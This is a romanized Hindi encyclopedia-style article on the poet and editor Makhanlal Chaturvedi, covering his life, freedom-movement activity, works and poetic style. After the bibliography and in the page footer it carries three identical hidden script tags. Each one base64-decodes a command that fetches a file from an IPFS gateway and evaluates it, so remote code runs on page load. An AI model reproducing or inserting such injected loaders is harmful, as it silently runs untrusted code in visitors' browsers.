माखन लाल चतुर्वेदी

makhan lal chaturvedi (janm- 4 aprail, 1889 ee., bavee, madhy pradesh; mrityu- 1968 ee.) saral bhasha aur ojapoorn bhavanaoan ke anoothe hiandi rachanakar the. inhoanne hiandi evan sanskrit ka adhyayan kiya. ye 'karmavir' rashtriy dainik ke sanpadak the. inhoanne svatantrata aandolan mean sakriy roop se bhag liya. inaka upanam ek bharatiy atma hai. rashtriyata makhan lal chaturvedi ke kavy ka kalevar hai tatha rahasyatmak prem usaki atma hai.

chah nahian maian surabala ke, gahanoan mean gooantha jaooan
chah nahian, premi-mala mean, biandh pyari ko lalachaooan
chah nahian, samratoan ke shav, par he hari, dala jaooan
chah nahian, devoan ke sir par, chadhoo bhagy par ithalaooan
mujhe to d lena vanamali, us path par dena tum pheank
matribhoomi par shish chadhane, jis path javean vir anek

jivan parichay

janm 4 aprail, 1889 ee. bavee, madhy pradesh mean. yah bachapan mean kafi roogn aur bimar raha karate the. chaturvedi ji ke jivanikar basa ka kahana hai "dainy aur daridray ki jo bhi kali parachhaee chaturvediyoan ke parivar par jis roop mean bhi rahi ho, makhanalal paurushavan saubhagy ka lakshanik shakun hi banata gaya". (shaishav aur kaishaur' : makhanalal chaturvedi, prishth 58). inaka parivar radhavallabh sampraday ka anuyayi tha, isalie svabhavat: chaturvedi ke vyaktitv mean vaishnav pad kanthasth ho gaye. prathamik shiksha ki samapti ke bad ye ghar par hi sanskrit ka adhyayan karane lage. inaka vivah pandrah varsh ki avastha mean hua aur usake ek varsh bad ath rupaye masik vetan par adhyapaki shuru ki. 1913 ee. mean prabha patrika ka sampadan arambh kiya, jo pahale chitrashala pres, poona se aur bad mean pratap pres, kanapur se chhapati rahi. prabha ke sampadan kal mean inaka parichay ganesh shankar vidyarthi se hua, jinake desh- prem aur sevavrat ka inake oopar bahut gahara prabhav p da. 1918 ee. mean 'krishnaarjun yuddh' namak natak ki rachana ki aur 1919 ee. mean jabalapur se 'karmavir' ka prakashan kiya. 12 mee 1921 ee. ko rajadroh mean giraftar hue 1922 ee. mean karagar se mukti mili. 1924 ee. mean ganesh shankar vidyarthi ki giraftari ke bad 'pratap' ka sampadakiy kary- bhar sanbhala. 1927 ee. mean bharatapur mean sampadak sammelan ke adhyaksh bane. 1943 ee. mean hindi sahity sammelan ke adhyaksh hue.isake ek varsh poorv hi inaka himakiritini aur sahity devata prakash mean aye. 1948 ee. mean him tarangini aur 1952 ee. mean mata kavy granth prakashit hue. makhanalal chaturvedi ki mrityu 1968 ee. mean huee.

hindi kavy ke vidyarthi ko makhanalal ji ki kavitaean padhakar sahasa ashchary chakit rah jana p data hai. kahian jvalamukhi ki tarah dhadhakata hua aantarman, jo vishamata ki samoochi agni sine mean dabaye phootane ke lie machal raha hai, kahian virat paurush ki huankar, kahian karuna ki ajib dard bhari manuhar. ve jab akrosh se uddipt hote haian to pralayankar ka roop dharan ar lete haian kiantu doosare hi kshan ve apani katarata se vihval hokar manamohan ki ter lagane lagate haian.

chaturvedi ji ke vyaktitv mean sankramanakalin bharatiy samaj ki sari virodhi athava virodhi jaisi pratit hone vali vishishtataoan ka sampuanjan dikhayi p data hai.

apani rachanaoan ko prakashan ki drishti se is kram mean rakha ja sakata hai. krishnaarjun yuddh (1918 ee.), himakiritini (1941 ee.), sahity devata (1942 ee.), himatarangini (1949 ee.-sahity akadami puraskar se puraskrit), mata (1952 ee.). yugacharan, samarpan aur venu lo gooanje dhara unaki kahaniyoan ka sangrah amir irade, garib irade' nam se chhapa hai.

kavi ke kamik vikas ko drishti mean rakhakar ham makhanalal chaturvedi ki rachanaoan ko do shreni mean rakh sakate haian. arambhik kavy, yani 1920 ee. ke pahale ki rachanaean aur parinati kavy yani, 1920 ee. se bad ki kavy- srishti. unaki rachanaoan ki pravrittiyaan prayah spasht aur nishchit haian. rashtriyata unake kavy ka kalevar hai to bhakti aur rahasyatmak prem unaki rachanaoan ki atma. arambhik rachanaoan mean bhi ve pravrittiyaan spashtata parilakshit hoti haian. prabha ke praveshaank mean prakashit unaki kavita niti-nivedan shayad unake man ki tatkalin sthiti ka poora parichay deti hai. kavi shreshthata sopanagami udar chhatravrind se ek atm-nivedan karata hai. unhean poorvajoan ka smaran dilakar ratnagarbha matribhoomi ki rankatapar taras khane ko kahata hai. usi samay prabha bhag 1, sankhya 6 mean prakashit prem shirshak kavitaoan se sabase savity prem vyapt ho, isake lie sandesh diya hai kyoanki is prem ke bina be da par hone vala nahian hai. makhanalal ji ki rashtriy kavitaoan mean adarsh ki thothi u dane bhar nahian hai. unhoanne khud rashtriy sangram mean apana sab kuchh balidan kiya hai, isi karan unake svaroan mean balipanthi ki sachchaee, nirbhikata aur kashtoan ke jhelane ki adamy lalasa ki jhankar hai. yah sach hai ki unaki rachanaoan mean kahian-kahian hindoo rashtriyata ka svar zyada prabal ho utha hai kiantu ham ise sampradayikata nahian kah sakate, kyoanki doosare sampraday ahit ki akaanksha inamean ranchamatr bhi dikhaee n p degi. vijayadashami aur pravasi bharatiy vrind ('prabha', bhag 2, sankhya 7) athava hinduoan ka ranagit, 'manjumadhavi vritt' (bhag 2, sankhya 8) aisi hi rachanaean haian. unhoanne samayik rajanitik vishamoan ko bhi drishti mean rakhakar likha aur aise jalate prashnoan ko kavy ka vishay banaya.

arambhik rachanaoan mean bhaktiparak athava adhyatmik vicharaprerit kavitaoan ka bhi kafi mahattvapoorn sthan hai. yah sahi hai ki in rachanaoan mean is tarah ki sookshmata athava adhyatmik rahasy ka atindriy sparsh nahian hai, jaisa chhayavadi kaviyoan mean hai athava kavi ki parinat kavyashrenigat ane vali kuchher rachanaoan mean hai. bhakti ka roop yahaan kafi svasth hai kiantu sath hi sthool bhi. karan shayad yah raha hai ki inamean kavi ki niji vyaktigat anubhootiyoan ka utana yog nahian hai, jitana ek vyapak naitik dharatal ka, jise ham samooh- prarthana koti ka kavy kah sakate haian. isamean stuti ya stotr shaili ki jhalak bhi mil jati hai. jaisa pahale hi kaha gaya, kavi ke oopar vaishnav parampara ka ghana prabhav dikhayi p data hai. bhaktiparak kavitaoan ko kisi vishesh sampraday ke aantargat rakhakar dekhana thik n hoga, kyoanki in kavitaoan mean kisi sampradayagat manyata ka nirvah nahian kiya gaya hai. inamean vaishnav, nirgun, soofi, sabhi, tarah ki vicharadharaoan ka samanvay-sa dikhaee p data hai. kahian desh pranay-nivedan hai, kahian sarmpapp, kahian ulahana aur kahian desh-prem ke takaje ke karan svadhinata-prapti ka varadan bhi maanga gaya hai. ramanavami jaisi rachanaoan mean desh-prem aur bhagavatprem ko saman dharatal par utarane ka prayatn spasht hai.

parinat kavy-srishti mean uparyukt mukhy pravrittiyoan ka aur bhi adhik vikas dikhaee p data hai. kshobh, uchchhavas ke sthan par pi da ko sahane aur use ek marmik abhivyakti dene ka prayatn dikhaee p data hai. kaidi aur kokila ke pichhe jo rashtriyata ka roop hai, vah arambhik abhidhatmak kavy-kritiyoan se spasht hi bhinn hai. usi prakar jharana aur aansoo mean bhavoan ki gaharaee aur anubhootiyoan ki yogyata ka svar prabal hai, kiantu isaka tatpary yah kadapi nahian hai ki is dauran unhoanne udbodhan-kavy likha hi nahian. yug tarun se, 'pravesh', 'senani' adi rachanaean udbodhan kavy ke aantargat hi rakhi jayeangi. unhoanne rajanitik ghatanaoan ko drishti mean rakhakar shraddhaanjalimoolak kavy bhi likha. santosh 'natoriyas vir', 'bandhan sukh' adi mean ganeshashankar vidyarthi ki madhur smritiyaan haian to rashtriy jhande ki bheant mean haradevanarayan sianh ke prati shraddha ka nivedan.

paravarti kavy mean adhyatmik rahasy ki dhara stuti aur prarthana ke adhyatmik dharatal ke utar kar sookshm rahasy aur bhakti ki apekshakrit adhik svabhavik bhoomi par bahati dikhaee p dati hai. chhayavadi vyaktitv mean virath ki bhavana ka pariparak hai to adhyatmik rahasy ki dhara mean kisi ajnat asim priyatam ke sath samip atma ka pranay-nivedan. prakriti aur adhyatmik rahasy ka yah naya alok chhayavadi kavi ki jivan drishti ka adhar hai. makhanalal ji ki rachanaoan mean bhi yah alok hai kiantu isaka roop tho da bhinn hai. bhinn is arth mean ki ve shyam ya krishna ki jis roopamadhuri se akrisht the, usako surakshit rakhate hue rahasy ke is kshetr mean pravesh karana chahate haian. avyakt lok mean bhi unhean baansuri bhool nahian pati hai. isi karan makhanalal ki kavitaoan mean chhayavadi rahasy bhavana ka sagun madhura bhakti ke sath ek ajib samanvay dikhaee p data hai. unaka eeshvar (nirakar) itana nirakar nahian hai ki use ve nana nam roop dekar upalabdh n kar sakean. ve khudi ko mitakar khuda dekhate hai isi karan unaki rachanaoan mean chhayavadi vaiyaktikata ka aikaantik svar tivr nahian sunaee p data hai. ravindranath ki rahasyavadi bhavana ka prabhav un par spasht hai-chala too apane nabh ko chho d, pa gaya mujhamean tav akar. athava are ashesh shesh ki god, ya mere maian hi mean to udar teri apani hai chhupi har adi kritiyoan mean ajnat ke prati nivedan ka svar spasht hai, kiantu radha ke muralidhar ko apana natavar kahane mean ve kabhi nahian hichakate. unaka man jaise sagun roop mean zyada rama hai vaise hi chhayavadi shaili apanane par bhi ve anand ko vyakt karate samay natavar ke prem-atank se apane ko mukt n kar sake.

chhayavadi kavy mean prakriti ek abhinav jivant roop mean chitrit ki gayi hai. makhanalal ji ki kavitaoan mean prakriti chitran ka bhi ek vishesh mahattv hai. madhy pradesh ki dharati ka unake man mean ek vishesh akarshan hai. yah sahi hai ki kavi prakriti ke roop akrisht karate haian kiantu usaka man doosari samasyaoan mean itana ulajha hai ki unhean prakriti mean ramane ka avakash nahian hai. is karan prakriti unake kavy mean uddipan banakar hi rah gayi hai, chahe rashtriy adh: patan se utpann glani mean shasy-shyamala bhoomiki duravastha ko sochate samay, chahe bandikhane ke sikachoan se janmabhoomi ko yad karate samay. chhayavadi kaviyoan ki tarah prakriti mean sab kuchh khojane ka inhean avakash hi n tha.

bhasha aur shaili ki drishti se makhanalal par arop kiya jata hai ki unaki bhasha b di be daul hai. usamean kahian-kahian vyakaran ki avehana ki gayi hai. kahian arth nikalane ke lie dooraanvay karana p data hai, kahian bhasha mean kathor sanskrit shabd haian to kahian bundelakhandi ke gramy prayog. kiantu bhasha-shaili ke ye sare dosh sirph ek bat ki soochana dete haian ki kavi apani abhivyakti ko itanamahattvapoorn samajha hai ki use niyamoan mean hamesha abaddh rakhana unhean svikar nahian hua hai. bhasha- shilp ke prati makhanalal ji bahut sachesht rahe haian. unake prayog samany svikaran bhale hi n payean,unaki maulikata mean sandeh nahian kiya ja sakata. gady rachanaoan mean krishnaarjun yuddh aur sahity devata ka vishesh mahattv hai. krishnaarjun yuddh apane samay ki bahut lokapriy rachana rahi hai. parasi natak kampaniyoan ne jis dhang se hamari sanskriti ko vikrit karane ka prayatn kiya, vah kisi prabuddh pathak se chhipa nahian hai. krishnaarjun yuddh shayad aise naty pradarshanoan ka muhato d javab tha. gandharv chitrasen apane pramadajany kukrity ke karan krishna ke krodh ka patr bana. krishna ne doosari sandhya tak kshama n maangane par usake vadh ki pratijna ki. narad ko chitrasen ka aparadh chhota laga, dand bhari. unhoanne prayatnapoorvak subhadra ke madhyam se arjun dvara chitrasen ki raksha ka pran kara liya. arjun aur krishna ke yuddh se srishti ka vinash nikat aya jan brahma adi ne dau d-dhoop karake shaanti ki sthapana ki. is pauranik natak ko bharatiy natay parampara ke anusar upasthit kiya gaya hai. yah abhineyata ki drishti se kafi sulajhi huee rachana kahi ja sakati hai. sahity devata makhanalal ji ke bhavatmak nibandhoan ka sangrah hai. [sahayak granth- makhanalal chaturvedi-ek adhyayan, ramadhar sharma, sarasvati mandir, jatanavar, kashi, makhanalal chaturvedi (jivani), rrishi jaimini kaushik barua, bharatiy jnanapith, kashi 1960 ee..]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>